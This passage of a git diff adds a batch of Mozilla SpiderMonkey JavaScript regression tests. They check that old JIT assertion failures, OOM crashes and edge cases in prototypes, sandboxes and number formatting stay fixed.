+ if (!IS_TOKEN_ARRAY[fieldName.charCodeAt(i)])
+ {
+ throw (fieldName + " is not a valid header field name!");
+ }
+ }
+
+ return fieldName.toLowerCase();
+}
+};
+
+headerUtils.normalizeFieldName("Host");
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-455408.js b/js/src/tests/non262/extensions/regress-455408.js
new file mode 100644
index 0000000000..2f3796c1eb
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-455408.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 455408;
+var summary = 'Do not assert with JIT: "Should not move data from GPR to XMM": false';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { if (({}).__proto__ = 1) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-456826.js b/js/src/tests/non262/extensions/regress-456826.js
new file mode 100644
index 0000000000..009e29790b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-456826.js
@@ -0,0 +1,126 @@
+// |reftest| skip-if(!xulRuntime.shell||Android) slow -- bug 504632
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456826;
+var summary = 'Do not assert with JIT during OOM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ if (typeof gcparam != 'undefined')
+ {
+ gc();
+ gc();
+ gcparam("maxBytes", gcparam("gcBytes") + 4*1024);
+ expectExitCode(5);
+ expectExitCode(3);
+ }
+
+ const numRows = 600;
+ const numCols = 600;
+ var scratch = {};
+ var scratchZ = {};
+
+ function complexMult(a, b) {
+ var newr = a.r * b.r - a.i * b.i;
+ var newi = a.r * b.i + a.i * b.r;
+ scratch.r = newr;
+ scratch.i = newi;
+ return scratch;
+ }
+
+ function complexAdd(a, b) {
+ scratch.r = a.r + b.r;
+ scratch.i = a.i + b.i;
+ return scratch;
+ }
+
+ function abs(a) {
+ return Math.sqrt(a.r * a.r + a.i * a.i);
+ }
+
+ function computeEscapeSpeed(c) {
+ scratchZ.r = scratchZ.i = 0;
+ const scaler = 5;
+ const threshold = (colors.length - 1) * scaler + 1;
+ for (var i = 1; i < threshold; ++i) {
+ scratchZ = complexAdd(c, complexMult(scratchZ, scratchZ));
+ if (scratchZ.r * scratchZ.r + scratchZ.i * scratchZ.i > 4) {
+ return Math.floor((i - 1) / scaler) + 1;
+ }
+ }
+ return 0;
+ }
+
+ const colorStrings = [
+ "black",
+ "green",
+ "blue",
+ "red",
+ "purple",
+ "orange",
+ "cyan",
+ "yellow",
+ "magenta",
+ "brown",
+ "pink",
+ "chartreuse",
+ "darkorange",
+ "crimson",
+ "gray",
+ "deeppink",
+ "firebrick",
+ "lavender",
+ "lawngreen",
+ "lightsalmon",
+ "lime",
+ "goldenrod"
+ ];
+
+ var colors = [];
+
+ function createMandelSet(realRange, imagRange) {
+ var start = new Date();
+
+ // Set up our colors
+ for (var color of colorStrings) {
+ var [r, g, b] = [0, 0, 0];
+ colors.push([r, g, b, 0xff]);
+ }
+
+ var realStep = (realRange.max - realRange.min)/numCols;
+ var imagStep = (imagRange.min - imagRange.max)/numRows;
+ for (var i = 0, curReal = realRange.min;
+ i < numCols;
+ ++i, curReal += realStep) {
+ for (var j = 0, curImag = imagRange.max;
+ j < numRows;
+ ++j, curImag += imagStep) {
+ var c = { r: curReal, i: curImag }
+ var n = computeEscapeSpeed(c);
+ }
+ }
+ print(Date.now() - start);
+ }
+
+ var realRange = { min: -2.1, max: 2 };
+ var imagRange = { min: -2, max: 2 };
+ createMandelSet(realRange, imagRange);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-459606.js b/js/src/tests/non262/extensions/regress-459606.js
new file mode 100644
index 0000000000..5d7e868133
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-459606.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459606;
+var summary = '(0.1).toFixed()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "0";
+ actual = (0.1).toFixed();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-462734-02.js b/js/src/tests/non262/extensions/regress-462734-02.js
new file mode 100644
index 0000000000..f7ccb5977d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-462734-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ for (x in function(){}) ([]);
+ this.__defineGetter__("x", Function);
+ var obj = Object.create(x);
+ obj.prototype += [];
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-462734-03.js b/js/src/tests/non262/extensions/regress-462734-03.js
new file mode 100644
index 0000000000..c350154fc8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-462734-03.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ Function.prototype.prototype;
+ var obj = Object.create(Function());
+ obj.prototype = obj.prototype;
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-462734-04.js b/js/src/tests/non262/extensions/regress-462734-04.js
new file mode 100644
index 0000000000..a7fbe8f07d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-462734-04.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462734;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj;
+try
+{
+ Function.prototype.prototype = function() { return 42; }
+ obj = Object.create(Function());
+ obj.prototype = obj.prototype;
+}
+catch(ex)
+{
+}
+
+expect = 'object';
+actual = typeof obj.prototype;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-465276.js b/js/src/tests/non262/extensions/regress-465276.js
new file mode 100644
index 0000000000..7eb90f91ab
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-465276.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465276;
+var summary = '((1 * (1))|""';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ empty = [];
+ out = [];
+ for (var j=0;j<10;++j) { empty[42]; out.push((1 * (1)) | ""); }
+
+ assertEqArray(out, [1, 1, 1, 1, 1, 1, 1, 1, 1, 1]);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-465337.js b/js/src/tests/non262/extensions/regress-465337.js
new file mode 100644
index 0000000000..f5167cb42a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-465337.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465337;
+var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var out = [];
+ for (let j = 0; j < 5; ++j) { out.push(6 - ((void 0) ^ 0x80000005)); }
+
+ assertEqArray(out, [2147483649, 2147483649, 2147483649, 2147483649, 2147483649]);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-465443.js b/js/src/tests/non262/extensions/regress-465443.js
new file mode 100644
index 0000000000..4d0e9c13eb
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-465443.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465443;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: invalid assignment to const \'b\'';
+
+
+ try
+ {
+ eval('(function () { const b = 16; var out = []; for (b of [true, "", true, "", true, ""]) out.push(b >> 1) })();');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-465453.js b/js/src/tests/non262/extensions/regress-465453.js
new file mode 100644
index 0000000000..084276f202
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-465453.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465453;
+var summary = 'Do not convert (undefined) to "undefined"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "true,,true,true,,,,,";
+
+ var out = [];
+ for (var e of [(new Boolean(true)),
+ (void 0),
+ (new Boolean(true)),
+ (new Boolean(true)),
+ (void 0),
+ (void 0),
+ "",
+ "",
+ (void 0)])
+ out.push(e);
+ print(actual = out.toString());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-466905-04.js b/js/src/tests/non262/extensions/regress-466905-04.js
new file mode 100644
index 0000000000..c724d0ce00
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-466905-04.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Prototypes of sandboxed arrays';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx != 'function')
+ {
+ expect = actual = 'Test skipped: requires evalcx support';
+ }
+ else
+ {
+ expect = true;
+
+ function createArray()
+ {
+ var a;
+ for (var i = 0; i < 10; i++)
+ a = [1, 2, 3, 4, 5];
+ return a;
+ }
+
+ var sandbox = evalcx("lazy");
+ sandbox.createArray = createArray;
+ var p1 = Object.getPrototypeOf(createArray());
+ var p2 = Object.getPrototypeOf(evalcx("createArray()", sandbox));
+ print(actual = (p1 === p2));
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-466905-05.js b/js/src/tests/non262/extensions/regress-466905-05.js
new file mode 100644
index 0000000000..561a19c7e1
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-466905-05.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!xulRuntime.shell) -- requires evalcx
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466905;
+var summary = 'Sandbox shapes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof evalcx != 'function')
+ {
+ expect = actual = 'Test skipped: requires evalcx support';
+ }
+ else if (typeof shapeOf != 'function')
+ {
+ expect = actual = 'Test skipped: requires shapeOf support';
+ }
+ else
+ {
+
+ var s1 = evalcx('lazy');
+ var s2 = evalcx('lazy');
+
+ expect = shapeOf(s1);
+ actual = shapeOf(s2);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-469234.js b/js/src/tests/non262/extensions/regress-469234.js
new file mode 100644
index 0000000000..2ed0475c62
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469234.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469234;
+var summary = 'TM: Do not assert: !JS_ON_TRACE(cx)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for(var j=0;j<3;++j)({__proto__:[]}).__defineSetter__('x',function(){});
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-469405-01.js b/js/src/tests/non262/extensions/regress-469405-01.js
new file mode 100644
index 0000000000..b1113d9b57
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469405-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469405;
+var summary = 'Do not assert: !regs.sp[-2].isPrimitive()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function() {
+ var a, b;
+ for (a of [{}, {__iterator__: function(){}}]) for (b in a) { }
+ })();
+}
+catch(ex)
+{
+ print('caught ' + ex);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-469405-02.js b/js/src/tests/non262/extensions/regress-469405-02.js
new file mode 100644
index 0000000000..196557e699
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469405-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469405;
+var summary = 'Do not assert: !regs.sp[-2].isPrimitive()';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval("__proto__.__iterator__ = [].toString");
+ for (var z = 0; z < 3; ++z) { if (z % 3 == 2) { for(let y in []); } }
+}
+catch(ex)
+{
+ print('caught ' + ex);
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-469625-01.js b/js/src/tests/non262/extensions/regress-469625-01.js
new file mode 100644
index 0000000000..aa4d5bbc7d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469625-01.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'TM: Array prototype and expression closures';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: [].__proto__ is not a function';
+
+
+ Array.prototype.__proto__ = function () { return 3; };
+
+ try
+ {
+ [].__proto__();
+ }
+ catch(ex)
+ {
+ print(actual = ex + '');
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-469625.js b/js/src/tests/non262/extensions/regress-469625.js
new file mode 100644
index 0000000000..84610b4889
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469625.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469625;
+var summary = 'TM: Do not crash @ js_String_getelem';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ [].__proto__[0] = 'a';
+ for (var j = 0; j < 3; ++j) [[, ]] = [,];
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-469761.js b/js/src/tests/non262/extensions/regress-469761.js
new file mode 100644
index 0000000000..2866d18935
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-469761.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469761;
+var summary = 'TM: Do not assert: STOBJ_GET_SLOT(callee_obj, JSSLOT_PRIVATE).isInt32()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var o = { __proto__: function(){} };
+ for (var j = 0; j < 3; ++j) { try { o.call(3); } catch (e) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-470300-01.js b/js/src/tests/non262/extensions/regress-470300-01.js
new file mode 100644
index 0000000000..59e10868bf
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-470300-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470300;
+var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let a = 0; a < 3; ++a) { let b = '' + []; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-470300-02.js b/js/src/tests/non262/extensions/regress-470300-02.js
new file mode 100644
index 0000000000..6e760e091c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-470300-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470300;
+var summary = 'TM: Do not assert: !fp->blockChain || OBJ_GET_PARENT(cx, obj) == fp->blockChain';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let a = 0; a < 7; ++a) { let e = 8; if (a > 3) { let x; } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-470310.js b/js/src/tests/non262/extensions/regress-470310.js
new file mode 100644
index 0000000000..460a60cc80
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-470310.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470310;
+var summary = 'Do not assert: (uint32_t)((atoms - script->atomMap.vector + ' +
+ '((uintN)(((regs.pc + 0)[1] << 8) | (regs.pc + 0)[2])))) < objects_->length';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: 6 is not a function';
+
+ this.__defineSetter__('m', [].map);
+ function f() { for (var j = 0; j < 4; ++j) if (j == 3) m = 6; }
+ try { f(); } catch(e) { print(actual = e + ''); }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-472450-03.js b/js/src/tests/non262/extensions/regress-472450-03.js
new file mode 100644
index 0000000000..72609e4d23
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-472450-03.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472450;
+var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var cyclic = [];
+ cyclic[0] = cyclic;
+ ({__proto__: cyclic})
+ for (var y = 0; y < 3; ++y) { for (let z of ['', function(){}]) { let x =
+ 1, c = []; } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-472450-04.js b/js/src/tests/non262/extensions/regress-472450-04.js
new file mode 100644
index 0000000000..56c7e5597c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-472450-04.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472450;
+var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var cyclic = [];
+ cyclic[0] = cyclic;
+ ({__proto__: cyclic});
+ function f(){
+ eval("for (var y = 0; y < 1; ++y) { for (let z of [null, function(){}, null, '', null, '', null]) { let x = 1, c = []; } }");
+ }
+ f();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-472599.js b/js/src/tests/non262/extensions/regress-472599.js
new file mode 100644
index 0000000000..474e0b6336
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-472599.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472599;
+var summary = 'Do not assert: STOBJ_GET_SLOT(callee_obj, JSSLOT_PRIVATE).isInt32()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = (function(){}).prototype;
+ a.__proto__ = a.toString;
+ for (var i = 0; i < 4; ++i) { try{ a.call({}); } catch(e) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-473040.js b/js/src/tests/non262/extensions/regress-473040.js
new file mode 100644
index 0000000000..95eb543e6a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-473040.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 473040;
+var summary = 'Do not assert: tm->reservedDoublePoolPtr > tm->reservedDoublePool';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+Object.defineProperty(__proto__, "functional",
+{
+ enumerable: true, configurable: true,
+ get: new Function("gc()")
+});
+for (let x of [new Boolean(true), new Boolean(true), -0, new
+ Boolean(true), -0]) { undefined; }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-474771-01.js b/js/src/tests/non262/extensions/regress-474771-01.js
new file mode 100644
index 0000000000..b9905947b1
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-474771-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'TM: do not assert: jumpTable == interruptJumpTable';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var o = {};
+ o.__defineSetter__('x', function(){});
+ for (let j = 0; j < 4; ++j) o.x = 3;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-474771-02.js b/js/src/tests/non262/extensions/regress-474771-02.js
new file mode 100644
index 0000000000..127351858a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-474771-02.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
